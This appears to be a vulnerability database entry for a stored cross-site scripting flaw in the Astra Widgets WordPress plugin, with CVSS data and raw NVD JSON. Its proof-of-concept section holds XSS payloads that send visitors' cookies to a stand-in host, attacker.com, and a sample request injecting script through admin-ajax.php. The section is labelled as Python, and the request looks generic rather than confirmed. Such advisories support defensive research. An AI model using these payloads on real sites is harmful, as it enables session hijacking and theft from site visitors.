Security Vulnerability Report
中文
CVE-2025-68497 CVSS 5.9 MEDIUM

CVE-2025-68497

Published: 2025-12-24 13:16:20
Last Modified: 2026-04-27 19:16:26

Description

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Brainstorm Force Astra Widgets astra-widgets allows Stored XSS.This issue affects Astra Widgets: from n/a through <= 1.2.16.

CVSS Details

CVSS Score
5.9
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:L

Configurations (Affected Products)

No configuration data available.

Astra Widgets <= 1.2.16

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- CVE-2025-68497 PoC - Astra Widgets Stored XSS --> <!-- 攻击者(管理员/编辑)可通过以下步骤利用此漏洞: --> <!-- Step 1: 在Widget标题或内容中注入恶意脚本 --> <script>alert(document.cookie)</script> <!-- 或使用事件处理器 --> <img src=x onerror=fetch('https://attacker.com/steal?c='+document.cookie)> <!-- 或使用SVG标签 --> <svg onload=fetch('https://attacker.com/steal?data='+btoa(document.cookie))> <!-- Step 2: 恶意代码将永久存储在数据库中 --> <!-- Step 3: 任何访问者访问包含该Widget的页面都会触发XSS --> <!-- 自动化测试Payload (Burp Suite Intruder格式) --> POST /wp-admin/admin-ajax.php HTTP/1.1 Host: target.com Content-Type: application/x-www-form-urlencoded action=save_widget&widget_id=astra-custom-html-1&widget_content=<script>alert('XSS')</script>&nonce=XXX

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-68497", "sourceIdentifier": "[email protected]", "published": "2025-12-24T13:16:20.160", "lastModified": "2026-04-27T19:16:25.640", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Brainstorm Force Astra Widgets astra-widgets allows Stored XSS.This issue affects Astra Widgets: from n/a through <= 1.2.16."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:L", "baseScore": 5.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 1.7, "impactScore": 3.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/astra-widgets/vulnerability/wordpress-astra-widgets-plugin-1-2-16-cross-site-scripting-xss-vulnerability?_s_id=cve", "source": "[email protected]"}]}}